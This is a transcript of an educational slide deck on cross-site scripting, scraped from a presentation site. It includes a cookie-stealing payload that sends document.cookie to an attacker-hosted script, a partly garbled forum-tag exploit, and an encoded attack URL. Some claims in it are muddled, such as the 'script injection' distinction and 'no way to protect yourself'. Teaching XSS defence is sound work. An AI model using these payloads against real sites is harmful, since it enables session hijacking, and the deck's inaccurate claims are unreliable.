Cross Site Scripting a.k.a. XSS Szymon Siewior. Disclaimer Everything that will be shown, was created for strictly educational purposes. You may reuse.

Slides:



Advertisements
Similar presentations
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems © 2002, Predictive Systems.
Advertisements

Nick Feamster CS 6262 Spring 2009
Cross-Site Scripting (XSS) Vulnerability in AJAX and Adobe Flex Applications Danielle Cauthen 04/09/2010 COMS E6125 – Web enHanced Information Management.
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
HI-TEC 2011 SQL Injection. Client’s Browser HTTP or HTTPS Web Server Apache or IIS HTML Forms CGI Scripts Database SQL Server or Oracle or MySQL ODBC.
Lecture 6/2/12. Forms and PHP The PHP $_GET and $_POST variables are used to retrieve information from forms, like user input When dealing with HTML forms.
WEB BROWSER SECURITY By Robert Sellers Brian Bauer.
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
WebGoat & WebScarab “What is computer security for $1000 Alex?”
EECS 354 Network Security Cross Site Scripting (XSS)
COMP 321 Week 12. Overview Web Application Security  Authentication  Authorization  Confidentiality Cross-Site Scripting Lab 12-1 Introduction.
By Brian Vees.  SQL Injection  Username Enumeration  Cross Site Scripting (XSS)  Remote Code Execution  String Formatting Vulnerabilities.
Server-Side vs. Client-Side Scripting Languages
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
CS 290C: Formal Models for Web Software Lecture 1: Introduction Instructor: Tevfik Bultan.
Website Development with PHP and MySQL Introduction.
Introduction to the OWASP Top 10. Cross Site Scripting (XSS)  Comes in several flavors:  Stored  Reflective  DOM-Based.
March Intensive: XSS Exploits
Lecture 16 Page 1 CS 236 Online Cross-Site Scripting XSS Many sites allow users to upload information –Blogs, photo sharing, Facebook, etc. –Which gets.
CROSS SITE SCRIPTING..! (XSS). Overview What is XSS? Types of XSS Real world Example Impact of XSS How to protect against XSS?
Lab 3 Cookie Stealing using XSS Kara James, Chelsea Collins, Trevor Norwood, David Johnson.
Part or all of this lesson was adapted from the University of Washington’s “Web Design & Development I” Course materials.
Web Programming Language Dr. Ken Cosh Week 1 (Introduction)
Introduction to InfoSec – Recitation 10 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
Reading Data in Web Pages tMyn1 Reading Data in Web Pages A very common application of PHP is to have an HTML form gather information from a website's.
Cosc 4765 Server side Web security. Web security issues From Cenzic Vulnerability report
Information Systems Security LAÏMOUCHE El Hadj, DAVY Benjamin 1source :
Prevent Cross-Site Scripting (XSS) attack
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
Chapter 16 The World Wide Web Chapter Goals Compare and contrast the Internet and the World Wide Web Describe general Web processing Describe several.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
Staying Safe Online Keep your Information Secure.
Reliability & Desirability of Data
© All rights reserved. Zend Technologies, Inc. PHP Security Kevin Schroeder Zend Technologies.
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
3-Protecting Systems Dr. John P. Abraham Professor UTPA.
Web Application Security ECE ECE Internetwork Security What is a Web Application? An application generally comprised of a collection of scripts.
School of Computing and Information Systems CS 371 Web Application Programming Security Avoiding and Preventing Attacks.
Forms and Server Side Includes. What are Forms? Forms are used to get user input We’ve all used them before. For example, ever had to sign up for courses.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
Presented By: Chandra Kollipara. Cross-Site Scripting: Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
Computer Security By Duncan Hall.
Module: Software Engineering of Web Applications Chapter 3 (Cont.): user-input-validation testing of web applications 1.
EECS 354: Network Security Group Members: Patrick Wong Eric Chan Shira Schneidman Web Attacks Project: Detecting XSS and SQL Injection Vulnerabilities.
INFO 344 Web Tools And Development CK Wang University of Washington Spring 2014.
1 Figure 9-3: Webserver and E-Commerce Security Browser Attacks  Take over a client via the browser Interesting information on the client Can use browser.
Software Security. Bugs Most software has bugs Some bugs cause security vulnerabilities Incorrect processing of security related data Incorrect processing.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
XSS 101 Jason Clark 12/20.
Javascript worms By Benjamin Mossé SecPro
Group 18: Chris Hood Brett Poche
Module: Software Engineering of Web Applications
CSCE 548 Student Presentation Ryan Labrador
An Introduction to Web Application Security
Tonga Institute of Higher Education IT 141: Information Systems
Software Applications for end-users
Tonga Institute of Higher Education IT 141: Information Systems
Web Security Advanced Network Security Peter Reiher August, 2014
Tonga Institute of Higher Education IT 141: Information Systems
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems
Exploring DOM-Based Cross Site Attacks
Cross-Site Scripting Attack (XSS)
Cross Site Request Forgery (CSRF)
Presentation transcript:

Cross Site Scripting a.k.a. XSS Szymon Siewior

Disclaimer Everything that will be shown, was created for strictly educational purposes. You may reuse these materials in any way you wish, but you are held responsible for any damage caused in result of using code/method/actions.

What are XSS Attacks? XSS attack is when an attacker manages to inject Java script code or sometimes other code (usually Java Script) into a website causing it to execute the code. What harm could this cause? Websites that are vulnerable to XSS attacks are running some sort of Dynamic Content. – Forums – Web Based – Places where information is submitted

Script Injection & XSS There are two types of XSS, one being Script Injection and one being your general XSS attack, an XSS attack is normally used to execute java script in order to steal someone's identity however it can be and sometimes is used to alter a page temporarily, a script injection permanently alters the webpage, it is important not to get the two confused, both vulnerabilities can be just as dangerous as each other and it is important if you are a vendor to protect your software from being vulnerable to them.

What can attackers do with CSS? Account hijacking (Cookie Theft) Execution of code on the users computer (Client side)

Attack Scenario Victim: is on an online shopping site Has 1-Click Ordering set-up Attacker knows that when he will capture the victim’s cookie, he will be able to purchase products using the victim’s account The attacker finds that there is an XSS vulnerability in the web application software that the shopping website uses, he sends the victim and , with the following HTML: document.location.replace(' ewebhost.com/ph33r/steal.cgi?'+document.cookie); ">Check this Article Out!

Attack Scenario (cont…) The user would of course click the link and they would be lead to the CNN News Article, but at the same time the attacker would of been able to also direct the user towards his specially crafted URL, he now has the users cookie. Using the Firefox cookie editor the attacker copies and pastes the victims cookie and uses it for himself.

Hunting down vulnerable sites If you are a website developer you may think, well my website does not hold any important information (if this is the case) however it is using web application software, why would I need to worry about attackers? “Script Kiddies”. After a quick search of Google I was able to find, that Invision Power Board Final is vulnerable to XSS, it is important to note if you do not already know that IPB is a very popular web forum software. Exploit: [COLOR=[IMG] cript:document.location.replace(' [/color] The exploit simply redirects the victim to another website, however if one were to alter the exploit (which doesn't take much skill) it could very easily be used for stealing cookies. Other vulnerable applications: – PHP Nuke – PHPBB

Encoding attack URLs Tool: Before: – ile=article&sid=1&optionbox=[‘ m/ph33r/steal.cgi?'+document.cookie] After: – ews%26file%3Darticle%26sid%3D1%26optionbox%3D %5B%27http%3A//freewebhost.com/ph33r/steal.cgi% 3F%27%2Bdocument.cookie%5D

How can I protect myself? There is no way of protecting yourself against XSS attacks. Common myth about XSS is that SSL will protect you from an XSS attack, this is not true. Be wary of links that are sent to you in an , or posted in on the forum (or something similar) Set browser security settings to high and/or disable Java Script, Java, Flash, VBScript and ActiveX

What can I the developer do? Filter characters which are sent to the web application – > < ( ) [ ] ‘ “ ; : / \ Convert all characters which are not letters or numbers to their HTML equivalents before displaying the user input in search scripts and forums. ( < to < ) Make sure that the pages in the Web site or web application return user inputs only after checking them for any potentially malicious code. Check the referrer to the login page If you have an existing site, check it: – alert('Vulnerable')

Conclusion Learn about XSS The lack of knowledge about XSS is what makes it so dangerous

THE END!!